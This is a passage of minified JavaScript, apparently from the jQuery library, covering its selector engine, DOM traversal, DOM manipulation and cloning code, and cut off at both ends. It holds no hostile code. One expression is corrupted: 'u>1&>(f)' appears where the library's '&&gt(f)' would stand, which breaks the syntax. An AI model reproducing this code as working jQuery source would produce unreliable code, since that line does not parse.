n.getElementById!==A&&!d){var r=n.getElementById(e);return r?r.id===e||typeof r.getAttributeNode!==A&&r.getAttributeNode("id").value===e?[r]:t:[]}},i.filter.ID=function(e){var t=e.replace(et,tt);return function(e){var n=typeof e.getAttributeNode!==A&&e.getAttributeNode("id");return n&&n.value===t}}),i.find.TAG=T.tagNameNoComments?function(e,n){return typeof n.getElementsByTagName!==A?n.getElementsByTagName(e):t}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},i.find.NAME=T.getByName&&function(e,n){return typeof n.getElementsByName!==A?n.getElementsByName(name):t},i.find.CLASS=T.getByClassName&&function(e,n){return typeof n.getElementsByClassName===A||d?t:n.getElementsByClassName(e)},g=[],h=[":focus"],(T.qsa=rt(n.querySelectorAll))&&(at(function(e){e.innerHTML="<select><option selected=''></option></select>",e.querySelectorAll("[selected]").length||h.push("\\["+_+"*(?:checked|disabled|ismap|multiple|readonly|selected|value)"),e.querySelectorAll(":checked").length||h.push(":checked")}),at(function(e){e.innerHTML="<input type='hidden' i=''/>",e.querySelectorAll("[i^='']").length&&h.push("[*^$]="+_+"*(?:\"\"|'')"),e.querySelectorAll(":enabled").length||h.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),h.push(",.*:")})),(T.matchesSelector=rt(m=f.matchesSelector||f.mozMatchesSelector||f.webkitMatchesSelector||f.oMatchesSelector||f.msMatchesSelector))&&at(function(e){T.disconnectedMatch=m.call(e,"div"),m.call(e,"[s!='']:x"),g.push("!=",R)}),h=RegExp(h.join("|")),g=RegExp(g.join("|")),y=rt(f.contains)||f.compareDocumentPosition?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},v=f.compareDocumentPosition?function(e,t){var r;return e===t?(u=!0,0):(r=t.compareDocumentPosition&&e.compareDocumentPosition&&e.compareDocumentPosition(t))?1&r||e.parentNode&&11===e.parentNode.nodeType?e===n||y(w,e)?-1:t===n||y(w,t)?1:0:4&r?-1:1:e.compareDocumentPosition?-1:1}:function(e,t){var r,i=0,o=e.parentNode,a=t.parentNode,s=[e],l=[t];if(e===t)return u=!0,0;if(!o||!a)return e===n?-1:t===n?1:o?-1:a?1:0;if(o===a)return ut(e,t);r=e;while(r=r.parentNode)s.unshift(r);r=t;while(r=r.parentNode)l.unshift(r);while(s[i]===l[i])i++;return i?ut(s[i],l[i]):s[i]===w?-1:l[i]===w?1:0},u=!1,[0,0].sort(v),T.detectDuplicates=u,p):p},st.matches=function(e,t){return st(e,null,null,t)},st.matchesSelector=function(e,t){if((e.ownerDocument||e)!==p&&c(e),t=t.replace(Z,"='$1']"),!(!T.matchesSelector||d||g&&g.test(t)||h.test(t)))try{var n=m.call(e,t);if(n||T.disconnectedMatch||e.document&&11!==e.document.nodeType)return n}catch(r){}return st(t,p,null,[e]).length>0},st.contains=function(e,t){return(e.ownerDocument||e)!==p&&c(e),y(e,t)},st.attr=function(e,t){var n;return(e.ownerDocument||e)!==p&&c(e),d||(t=t.toLowerCase()),(n=i.attrHandle[t])?n(e):d||T.attributes?e.getAttribute(t):((n=e.getAttributeNode(t))||e.getAttribute(t))&&e[t]===!0?t:n&&n.specified?n.value:null},st.error=function(e){throw Error("Syntax error, unrecognized expression: "+e)},st.uniqueSort=function(e){var t,n=[],r=1,i=0;if(u=!T.detectDuplicates,e.sort(v),u){for(;t=e[r];r++)t===e[r-1]&&(i=n.push(r));while(i--)e.splice(n[i],1)}return e};function ut(e,t){var n=t&&e,r=n&&(~t.sourceIndex||j)-(~e.sourceIndex||j);if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function lt(e){return function(t){var n=t.nodeName.toLowerCase();return"input"===n&&t.type===e}}function ct(e){return function(t){var n=t.nodeName.toLowerCase();return("input"===n||"button"===n)&&t.type===e}}function pt(e){return ot(function(t){return t=+t,ot(function(n,r){var i,o=e([],n.length,t),a=o.length;while(a--)n[i=o[a]]&&(n[i]=!(r[i]=n[i]))})})}o=st.getText=function(e){var t,n="",r=0,i=e.nodeType;if(i){if(1===i||9===i||11===i){if("string"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=o(e)}else if(3===i||4===i)return e.nodeValue}else for(;t=e[r];r++)n+=o(t);return n},i=st.selectors={cacheLength:50,createPseudo:ot,match:U,find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(et,tt),e[3]=(e[4]||e[5]||"").replace(et,tt),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||st.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&st.error(e[0]),e},PSEUDO:function(e){var t,n=!e[5]&&e[2];return U.CHILD.test(e[0])?null:(e[4]?e[2]=e[4]:n&&z.test(n)&&(t=ft(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){return"*"===e?function(){return!0}:(e=e.replace(et,tt).toLowerCase(),function(t){return t.nodeName&&t.nodeName.toLowerCase()===e})},CLASS:function(e){var t=k[e+" "];return t||(t=RegExp("(^|"+_+")"+e+"("+_+"|$)"))&&k(e,function(e){return t.test(e.className||typeof e.getAttribute!==A&&e.getAttribute("class")||"")})},ATTR:function(e,t,n){return function(r){var i=st.attr(r,e);return null==i?"!="===t:t?(i+="","="===t?i===n:"!="===t?i!==n:"^="===t?n&&0===i.indexOf(n):"*="===t?n&&i.indexOf(n)>-1:"$="===t?n&&i.slice(-n.length)===n:"~="===t?(" "+i+" ").indexOf(n)>-1:"|="===t?i===n||i.slice(0,n.length+1)===n+"-":!1):!0}},CHILD:function(e,t,n,r,i){var o="nth"!==e.slice(0,3),a="last"!==e.slice(-4),s="of-type"===t;return 1===r&&0===i?function(e){return!!e.parentNode}:function(t,n,u){var l,c,p,f,d,h,g=o!==a?"nextSibling":"previousSibling",m=t.parentNode,y=s&&t.nodeName.toLowerCase(),v=!u&&!s;if(m){if(o){while(g){p=t;while(p=p[g])if(s?p.nodeName.toLowerCase()===y:1===p.nodeType)return!1;h=g="only"===e&&!h&&"nextSibling"}return!0}if(h=[a?m.firstChild:m.lastChild],a&&v){c=m[x]||(m[x]={}),l=c[e]||[],d=l[0]===N&&l[1],f=l[0]===N&&l[2],p=d&&m.childNodes[d];while(p=++d&&p&&p[g]||(f=d=0)||h.pop())if(1===p.nodeType&&++f&&p===t){c[e]=[N,d,f];break}}else if(v&&(l=(t[x]||(t[x]={}))[e])&&l[0]===N)f=l[1];else while(p=++d&&p&&p[g]||(f=d=0)||h.pop())if((s?p.nodeName.toLowerCase()===y:1===p.nodeType)&&++f&&(v&&((p[x]||(p[x]={}))[e]=[N,f]),p===t))break;return f-=i,f===r||0===f%r&&f/r>=0}}},PSEUDO:function(e,t){var n,r=i.pseudos[e]||i.setFilters[e.toLowerCase()]||st.error("unsupported pseudo: "+e);return r[x]?r(t):r.length>1?(n=[e,e,"",t],i.setFilters.hasOwnProperty(e.toLowerCase())?ot(function(e,n){var i,o=r(e,t),a=o.length;while(a--)i=M.call(e,o[a]),e[i]=!(n[i]=o[a])}):function(e){return r(e,0,n)}):r}},pseudos:{not:ot(function(e){var t=[],n=[],r=s(e.replace(W,"$1"));return r[x]?ot(function(e,t,n,i){var o,a=r(e,null,i,[]),s=e.length;while(s--)(o=a[s])&&(e[s]=!(t[s]=o))}):function(e,i,o){return t[0]=e,r(t,null,o,n),!n.pop()}}),has:ot(function(e){return function(t){return st(e,t).length>0}}),contains:ot(function(e){return function(t){return(t.textContent||t.innerText||o(t)).indexOf(e)>-1}}),lang:ot(function(e){return X.test(e||"")||st.error("unsupported lang: "+e),e=e.replace(et,tt).toLowerCase(),function(t){var n;do if(n=d?t.getAttribute("xml:lang")||t.getAttribute("lang"):t.lang)return n=n.toLowerCase(),n===e||0===n.indexOf(e+"-");while((t=t.parentNode)&&1===t.nodeType);return!1}}),target:function(t){var n=e.location&&e.location.hash;return n&&n.slice(1)===t.id},root:function(e){return e===f},focus:function(e){return e===p.activeElement&&(!p.hasFocus||p.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:function(e){return e.disabled===!1},disabled:function(e){return e.disabled===!0},checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,e.selected===!0},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeName>"@"||3===e.nodeType||4===e.nodeType)return!1;return!0},parent:function(e){return!i.pseudos.empty(e)},header:function(e){return Q.test(e.nodeName)},input:function(e){return G.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||t.toLowerCase()===e.type)},first:pt(function(){return[0]}),last:pt(function(e,t){return[t-1]}),eq:pt(function(e,t,n){return[0>n?n+t:n]}),even:pt(function(e,t){var n=0;for(;t>n;n+=2)e.push(n);return e}),odd:pt(function(e,t){var n=1;for(;t>n;n+=2)e.push(n);return e}),lt:pt(function(e,t,n){var r=0>n?n+t:n;for(;--r>=0;)e.push(r);return e}),gt:pt(function(e,t,n){var r=0>n?n+t:n;for(;t>++r;)e.push(r);return e})}};for(n in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})i.pseudos[n]=lt(n);for(n in{submit:!0,reset:!0})i.pseudos[n]=ct(n);function ft(e,t){var n,r,o,a,s,u,l,c=E[e+" "];if(c)return t?0:c.slice(0);s=e,u=[],l=i.preFilter;while(s){(!n||(r=$.exec(s)))&&(r&&(s=s.slice(r[0].length)||s),u.push(o=[])),n=!1,(r=I.exec(s))&&(n=r.shift(),o.push({value:n,type:r[0].replace(W," ")}),s=s.slice(n.length));for(a in i.filter)!(r=U[a].exec(s))||l[a]&&!(r=l[a](r))||(n=r.shift(),o.push({value:n,type:a,matches:r}),s=s.slice(n.length));if(!n)break}return t?s.length:s?st.error(e):E(e,u).slice(0)}function dt(e){var t=0,n=e.length,r="";for(;n>t;t++)r+=e[t].value;return r}function ht(e,t,n){var i=t.dir,o=n&&"parentNode"===i,a=C++;return t.first?function(t,n,r){while(t=t[i])if(1===t.nodeType||o)return e(t,n,r)}:function(t,n,s){var u,l,c,p=N+" "+a;if(s){while(t=t[i])if((1===t.nodeType||o)&&e(t,n,s))return!0}else while(t=t[i])if(1===t.nodeType||o)if(c=t[x]||(t[x]={}),(l=c[i])&&l[0]===p){if((u=l[1])===!0||u===r)return u===!0}else if(l=c[i]=[p],l[1]=e(t,n,s)||r,l[1]===!0)return!0}}function gt(e){return e.length>1?function(t,n,r){var i=e.length;while(i--)if(!e[i](t,n,r))return!1;return!0}:e[0]}function mt(e,t,n,r,i){var o,a=[],s=0,u=e.length,l=null!=t;for(;u>s;s++)(o=e[s])&&(!n||n(o,r,i))&&(a.push(o),l&&t.push(s));return a}function yt(e,t,n,r,i,o){return r&&!r[x]&&(r=yt(r)),i&&!i[x]&&(i=yt(i,o)),ot(function(o,a,s,u){var l,c,p,f=[],d=[],h=a.length,g=o||xt(t||"*",s.nodeType?[s]:s,[]),m=!e||!o&&t?g:mt(g,f,e,s,u),y=n?i||(o?e:h||r)?[]:a:m;if(n&&n(m,y,s,u),r){l=mt(y,d),r(l,[],s,u),c=l.length;while(c--)(p=l[c])&&(y[d[c]]=!(m[d[c]]=p))}if(o){if(i||e){if(i){l=[],c=y.length;while(c--)(p=y[c])&&l.push(m[c]=p);i(null,y=[],l,u)}c=y.length;while(c--)(p=y[c])&&(l=i?M.call(o,p):f[c])>-1&&(o[l]=!(a[l]=p))}}else y=mt(y===a?y.splice(h,y.length):y),i?i(null,a,y,u):H.apply(a,y)})}function vt(e){var t,n,r,o=e.length,a=i.relative[e[0].type],s=a||i.relative[" "],u=a?1:0,c=ht(function(e){return e===t},s,!0),p=ht(function(e){return M.call(t,e)>-1},s,!0),f=[function(e,n,r){return!a&&(r||n!==l)||((t=n).nodeType?c(e,n,r):p(e,n,r))}];for(;o>u;u++)if(n=i.relative[e[u].type])f=[ht(gt(f),n)];else{if(n=i.filter[e[u].type].apply(null,e[u].matches),n[x]){for(r=++u;o>r;r++)if(i.relative[e[r].type])break;return yt(u>1&>(f),u>1&&dt(e.slice(0,u-1)).replace(W,"$1"),n,r>u&&vt(e.slice(u,r)),o>r&&vt(e=e.slice(r)),o>r&&dt(e))}f.push(n)}return gt(f)}function bt(e,t){var n=0,o=t.length>0,a=e.length>0,s=function(s,u,c,f,d){var h,g,m,y=[],v=0,b="0",x=s&&[],w=null!=d,T=l,C=s||a&&i.find.TAG("*",d&&u.parentNode||u),k=N+=null==T?1:Math.random()||.1;for(w&&(l=u!==p&&u,r=n);null!=(h=C[b]);b++){if(a&&h){g=0;while(m=e[g++])if(m(h,u,c)){f.push(h);break}w&&(N=k,r=++n)}o&&((h=!m&&h)&&v--,s&&x.push(h))}if(v+=b,o&&b!==v){g=0;while(m=t[g++])m(x,y,u,c);if(s){if(v>0)while(b--)x[b]||y[b]||(y[b]=L.call(f));y=mt(y)}H.apply(f,y),w&&!s&&y.length>0&&v+t.length>1&&st.uniqueSort(f)}return w&&(N=k,l=T),x};return o?ot(s):s}s=st.compile=function(e,t){var n,r=[],i=[],o=S[e+" "];if(!o){t||(t=ft(e)),n=t.length;while(n--)o=vt(t[n]),o[x]?r.push(o):i.push(o);o=S(e,bt(i,r))}return o};function xt(e,t,n){var r=0,i=t.length;for(;i>r;r++)st(e,t[r],n);return n}function wt(e,t,n,r){var o,a,u,l,c,p=ft(e);if(!r&&1===p.length){if(a=p[0]=p[0].slice(0),a.length>2&&"ID"===(u=a[0]).type&&9===t.nodeType&&!d&&i.relative[a[1].type]){if(t=i.find.ID(u.matches[0].replace(et,tt),t)[0],!t)return n;e=e.slice(a.shift().value.length)}o=U.needsContext.test(e)?0:a.length;while(o--){if(u=a[o],i.relative[l=u.type])break;if((c=i.find[l])&&(r=c(u.matches[0].replace(et,tt),V.test(a[0].type)&&t.parentNode||t))){if(a.splice(o,1),e=r.length&&dt(a),!e)return H.apply(n,q.call(r,0)),n;break}}}return s(e,p)(r,t,d,n,V.test(e)),n}i.pseudos.nth=i.pseudos.eq;function Tt(){}i.filters=Tt.prototype=i.pseudos,i.setFilters=new Tt,c(),st.attr=b.attr,b.find=st,b.expr=st.selectors,b.expr[":"]=b.expr.pseudos,b.unique=st.uniqueSort,b.text=st.getText,b.isXMLDoc=st.isXML,b.contains=st.contains}(e);var at=/Until$/,st=/^(?:parents|prev(?:Until|All))/,ut=/^.[^:#\[\.,]*$/,lt=b.expr.match.needsContext,ct={children:!0,contents:!0,next:!0,prev:!0};b.fn.extend({find:function(e){var t,n,r,i=this.length;if("string"!=typeof e)return r=this,this.pushStack(b(e).filter(function(){for(t=0;i>t;t++)if(b.contains(r[t],this))return!0}));for(n=[],t=0;i>t;t++)b.find(e,this[t],n);return n=this.pushStack(i>1?b.unique(n):n),n.selector=(this.selector?this.selector+" ":"")+e,n},has:function(e){var t,n=b(e,this),r=n.length;return this.filter(function(){for(t=0;r>t;t++)if(b.contains(this,n[t]))return!0})},not:function(e){return this.pushStack(ft(this,e,!1))},filter:function(e){return this.pushStack(ft(this,e,!0))},is:function(e){return!!e&&("string"==typeof e?lt.test(e)?b(e,this.context).index(this[0])>=0:b.filter(e,this).length>0:this.filter(e).length>0)},closest:function(e,t){var n,r=0,i=this.length,o=[],a=lt.test(e)||"string"!=typeof e?b(e,t||this.context):0;for(;i>r;r++){n=this[r];while(n&&n.ownerDocument&&n!==t&&11!==n.nodeType){if(a?a.index(n)>-1:b.find.matchesSelector(n,e)){o.push(n);break}n=n.parentNode}}return this.pushStack(o.length>1?b.unique(o):o)},index:function(e){return e?"string"==typeof e?b.inArray(this[0],b(e)):b.inArray(e.jquery?e[0]:e,this):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){var n="string"==typeof e?b(e,t):b.makeArray(e&&e.nodeType?[e]:e),r=b.merge(this.get(),n);return this.pushStack(b.unique(r))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}}),b.fn.andSelf=b.fn.addBack;function pt(e,t){do e=e[t];while(e&&1!==e.nodeType);return e}b.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return b.dir(e,"parentNode")},parentsUntil:function(e,t,n){return b.dir(e,"parentNode",n)},next:function(e){return pt(e,"nextSibling")},prev:function(e){return pt(e,"previousSibling")},nextAll:function(e){return b.dir(e,"nextSibling")},prevAll:function(e){return b.dir(e,"previousSibling")},nextUntil:function(e,t,n){return b.dir(e,"nextSibling",n)},prevUntil:function(e,t,n){return b.dir(e,"previousSibling",n)},siblings:function(e){return b.sibling((e.parentNode||{}).firstChild,e)},children:function(e){return b.sibling(e.firstChild)},contents:function(e){return b.nodeName(e,"iframe")?e.contentDocument||e.contentWindow.document:b.merge([],e.childNodes)}},function(e,t){b.fn[e]=function(n,r){var i=b.map(this,t,n);return at.test(e)||(r=n),r&&"string"==typeof r&&(i=b.filter(r,i)),i=this.length>1&&!ct[e]?b.unique(i):i,this.length>1&&st.test(e)&&(i=i.reverse()),this.pushStack(i)}}),b.extend({filter:function(e,t,n){return n&&(e=":not("+e+")"),1===t.length?b.find.matchesSelector(t[0],e)?[t[0]]:[]:b.find.matches(e,t)},dir:function(e,n,r){var i=[],o=e[n];while(o&&9!==o.nodeType&&(r===t||1!==o.nodeType||!b(o).is(r)))1===o.nodeType&&i.push(o),o=o[n];return i},sibling:function(e,t){var n=[];for(;e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n}});function ft(e,t,n){if(t=t||0,b.isFunction(t))return b.grep(e,function(e,r){var i=!!t.call(e,r,e);return i===n});if(t.nodeType)return b.grep(e,function(e){return e===t===n});if("string"==typeof t){var r=b.grep(e,function(e){return 1===e.nodeType});if(ut.test(t))return b.filter(t,r,!n);t=b.filter(t,r)}return b.grep(e,function(e){return b.inArray(e,t)>=0===n})}function dt(e){var t=ht.split("|"),n=e.createDocumentFragment();if(n.createElement)while(t.length)n.createElement(t.pop());return n}var ht="abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",gt=/ jQuery\d+="(?:null|\d+)"/g,mt=RegExp("<(?:"+ht+")[\\s/>]","i"),yt=/^\s+/,vt=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,bt=/<([\w:]+)/,xt=/<tbody/i,wt=/<|&#?\w+;/,Tt=/<(?:script|style|link)/i,Nt=/^(?:checkbox|radio)$/i,Ct=/checked\s*(?:[^=]|=\s*.checked.)/i,kt=/^$|\/(?:java|ecma)script/i,Et=/^true\/(.*)/,St=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g,At={option:[1,"<select multiple='multiple'>","</select>"],legend:[1,"<fieldset>","</fieldset>"],area:[1,"<map>","</map>"],param:[1,"<object>","</object>"],thead:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"],col:[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:b.support.htmlSerialize?[0,"",""]:[1,"X<div>","</div>"]},jt=dt(o),Dt=jt.appendChild(o.createElement("div"));At.optgroup=At.option,At.tbody=At.tfoot=At.colgroup=At.caption=At.thead,At.th=At.td,b.fn.extend({text:function(e){return b.access(this,function(e){return e===t?b.text(this):this.empty().append((this[0]&&this[0].ownerDocument||o).createTextNode(e))},null,e,arguments.length)},wrapAll:function(e){if(b.isFunction(e))return this.each(function(t){b(this).wrapAll(e.call(this,t))});if(this[0]){var t=b(e,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstChild&&1===e.firstChild.nodeType)e=e.firstChild;return e}).append(this)}return this},wrapInner:function(e){return b.isFunction(e)?this.each(function(t){b(this).wrapInner(e.call(this,t))}):this.each(function(){var t=b(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=b.isFunction(e);return this.each(function(n){b(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(){return this.parent().each(function(){b.nodeName(this,"body")||b(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(e){(1===this.nodeType||11===this.nodeType||9===this.nodeType)&&this.appendChild(e)})},prepend:function(){return this.domManip(arguments,!0,function(e){(1===this.nodeType||11===this.nodeType||9===this.nodeType)&&this.insertBefore(e,this.firstChild)})},before:function(){return this.domManip(arguments,!1,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return this.domManip(arguments,!1,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},remove:function(e,t){var n,r=0;for(;null!=(n=this[r]);r++)(!e||b.filter(e,[n]).length>0)&&(t||1!==n.nodeType||b.cleanData(Ot(n)),n.parentNode&&(t&&b.contains(n.ownerDocument,n)&&Mt(Ot(n,"script")),n.parentNode.removeChild(n)));return this},empty:function(){var e,t=0;for(;null!=(e=this[t]);t++){1===e.nodeType&&b.cleanData(Ot(e,!1));while(e.firstChild)e.removeChild(e.firstChild);e.options&&b.nodeName(e,"select")&&(e.options.length=0)}return this},clone:function(e,t){return e=null==e?!1:e,t=null==t?e:t,this.map(function(){return b.clone(this,e,t)})},html:function(e){return b.access(this,function(e){var n=this[0]||{},r=0,i=this.length;if(e===t)return 1===n.nodeType?n.innerHTML.replace(gt,""):t;if(!("string"!=typeof e||Tt.test(e)||!b.support.htmlSerialize&&mt.test(e)||!b.support.leadingWhitespace&&yt.test(e)||At[(bt.exec(e)||["",""])[1].toLowerCase()])){e=e.replace(vt,"<$1></$2>");try{for(;i>r;r++)n=this[r]||{},1===n.nodeType&&(b.cleanData(Ot(n,!1)),n.innerHTML=e);n=0}catch(o){}}n&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(e){var t=b.isFunction(e);return t||"string"==typeof e||(e=b(e).not(this).detach()),this.domManip([e],!0,function(e){var t=this.nextSibling,n=this.parentNode;n&&(b(this).remove(),n.insertBefore(e,t))})},detach:function(e){return this.remove(e,!0)},domManip:function(e,n,r){e=f.apply([],e);var i,o,a,s,u,l,c=0,p=this.length,d=this,h=p-1,g=e[0],m=b.isFunction(g);if(m||!(1>=p||"string"!=typeof g||b.support.checkClone)&&Ct.test(g))return this.each(function(i){var o=d.eq(i);m&&(e[0]=g.call(this,i,n?o.html():t)),o.domManip(e,n,r)});if(p&&(l=b.buildFragment(e,this[0].ownerDocument,!1,this),i=l.firstChild,1===l.childNodes.length&&(l=i),i)){for(n=n&&b.nodeName(i,"tr"),s=b.map(Ot(l,"script"),Ht),a=s.length;p>c;c++)o=l,c!==h&&(o=b.clone(o,!0,!0),a&&b.merge(s,Ot(o,"script"))),r.call(n&&b.nodeName(this[c],"table")?Lt(this[c],"tbody"):this[c],o,c);if(a)for(u=s[s.length-1].ownerDocument,b.map(s,qt),c=0;a>c;c++)o=s[c],kt.test(o.type||"")&&!b._data(o,"globalEval")&&b.contains(u,o)&&(o.src?b.ajax({url:o.src,type:"GET",dataType:"script",async:!1,global:!1,"throws":!0}):b.globalEval((o.text||o.textContent||o.innerHTML||"").replace(St,"")));l=i=null}return this}});function Lt(e,t){return e.getElementsByTagName(t)[0]||e.appendChild(e.ownerDocument.createElement(t))}function Ht(e){var t=e.getAttributeNode("type");return e.type=(t&&t.specified)+"/"+e.type,e}function qt(e){var t=Et.exec(e.type);return t?e.type=t[1]:e.removeAttribute("type"),e}function Mt(e,t){var n,r=0;for(;null!=(n=e[r]);r++)b._data(n,"globalEval",!t||b._data(t[r],"globalEval"))}function _t(e,t){if(1===t.nodeType&&b.hasData(e)){var n,r,i,o=b._data(e),a=b._data(t,o),s=o.events;if(s){delete a.handle,a.events={};for(n in s)for(r=0,i=s[n].length;i>r;r++)b.event.add(t,n,s[n][r])}a.data&&(a.data=b.extend({},a.data))}}function Ft(e,t){var n,r,i;if(1===t.nodeType){if(n=t.nodeName.toLowerCase(),!b.support.noCloneEvent&&t[b.expando]){i=b._data(t);for(r in i.events)b.removeEvent(t,r,i.handle);t.removeAttribute(b.expando)}"script"===n&&t.text!==e.text?(Ht(t).text=e.text,qt(t)):"object"===n?(t.parentNode&&(t.outerHTML=e.outerHTML),b.support.html5Clone&&e.innerHTML&&!b.trim(t.innerHTML)&&(t.innerHTML=e.innerHTML)):"input"===n&&Nt.test(e.type)?(t.defaultChecked=t.checked=e.checked,t.value!==e.value&&(t.value=e.value)):"option"===n?t.defaultSelected=t.selected=e.defaultSelected:("input"===n||"textarea"===n)&&(t.defaultValue=e.defaultValue)}}b.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(e,t){b.fn[e]=function(e){var n,r=0,i=[],o=b(e),a=o.length-1;for(;a>=r;r++)n=r===a?this:this.clone(!0),b(o[r])[t](n),d.apply(i,n.get());return this.pushStack(i)}});function Ot(e,n){var r,o,a=0,s=typeof e.getElementsByTagName!==i?e.getElementsByTagName(n||"*"):typeof e.querySelectorAll!==i?e.querySelectorAll(n||"*"):t;if(!s)for(s=[],r=e.childNodes||e;null!=(o=r[a]);a++)!n||b.nodeName(o,n)?s.push(o):b.merge(s,Ot(o,n));return n===t||n&&b.nodeName(e,n)?b.merge([e],s):s}function Bt(e){Nt.test(e.type)&&(e.defaultChecked=e.checked)}b.extend({clone:function(e,t,n){var r,i,o,a,s,u=b.contains(e.ownerDocument,e);if(b.support.html5Clone||b.isXMLDoc(e)||!mt.test("<"+e.nodeName+">")?o=e.cloneNode(!0):(Dt.innerHTML=e.outerHTML,Dt.removeChild(o=Dt.firstChild)),!(b.support.noCloneEvent&&b.support.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||b.isXMLDoc(e)))for(r=Ot(o),s=Ot(e),a=0;null!=(i=s[a]);++a)r[a]&&Ft(i,r[a]);if(t)if(n)for(s=s||Ot(e),r=r||Ot(o),a=0;null!=(i=s[a]);a++)_t(i,r[a]);else _t(e,o);return r=Ot(o,"script"),r.length>0&&Mt(r,!u&&Ot(e,"script")),r=s=i=null,o},buildFragment:function(e,t,n,r){var i,o,a,s,u,l,c,p=e.length,f=dt(t),d=[],h=0;for(;p>h;h++)if(o=e[h],o||0===o)if("object"===b.type(o))b.merge(d,o.nodeType?[o]:o);else if(wt.test(o)){s=s||f.appendChild(t.createElement("div")),u=(bt.exec(o)||["",""])[1].toLowerCase(),c=At[u]||At._default,s.innerHTML=c[1]+o.replace(vt,"<$1></$2>")+c[2],i=c[0];while(i--)s=s.lastChild;if(!b.support.leadingWhitespace&&yt.test(o)&&d.push(t.createTextNode(yt.exec(o)[0])),!b.support.tbody){o="table"!==u||xt.test(o)?"<table>"!==c[1]||xt.test(o)?0:s:s.firstChild,i=o&&o.childNodes.length;while(i--)b.nodeName(l=o.childNodes[i],"tbody")&&!l.childNodes.length&&o.removeChild(l) }b.merge(d,s.childNodes),s.textContent="";while(s.firstChild)s.removeChild(s.firstChild);s=f.lastChild}else d.push(t.createTextNode(o));s&&f.removeChild(s),b.support.appendChecked||b.grep(Ot(d,"input"),Bt),h=0;while(o=d[h++])if((!r||-1===b.inArray(o,r))&&(a=b.contains(o.ownerDocument,o),s=Ot(f.appendChild(o),"script"),a&&Mt(s),n)){i=0;while(o=s[i++])kt.test(o.type||"")&&n.push(o)}return s=null,f},cleanData:function(e,t){var n,r,o,a,s=0,u=b.expando,l=b.cache,p=b.support.deleteExpando,f=b.event.special;for(;null!=(n=e[s]);s++)if((t||b.acceptData(n))&&(o=n[u],a=o&&l[o])){if(a.events)for(r in a.events)f[r]?b.event.remove(n,r):b.removeEvent(n,r,a.handle);l[o]&&(delete l[o],p?delete n[u]:typeof n.removeAttribute!==i?n.removeAttribute(u):n[u]=null,c.push(o))}}});var Pt,Rt,Wt,$t=/alpha\([^)]*\)/i,It=/opacity\s*=\s*([^)]*)/,zt=/^(top|right|bottom|left)$/,Xt=/^(none|table(?!-c[ea]).+)/,Ut=/^margin/,Vt=RegExp("^("+x+")(.*)$","i"),Yt=RegExp("^("+x+")(?!px)[a-z%]+$","i"),Jt=RegExp("^([+-])=("+x+")","i"),Gt={BODY:"block"},Qt={position:"absolute",visibility:"hidden",display:"block"},Kt={letterSpacing:0,fontWeight:400},Zt=["Top","Right","Bottom","Left"],en=["Webkit","O","Moz","ms"];function tn(e,t){if(t in e)return t;var n=t.charAt(0).toUpperCase()+t.slice(1),r=t,i=en.length;while(i--)if(t=en[i]+n,t in e)return t;return r}function nn(e,t){return e=t||e,"none"===b.css(e,"display")||!b.contains(e.ownerDocument,e)}function rn(e,t){var 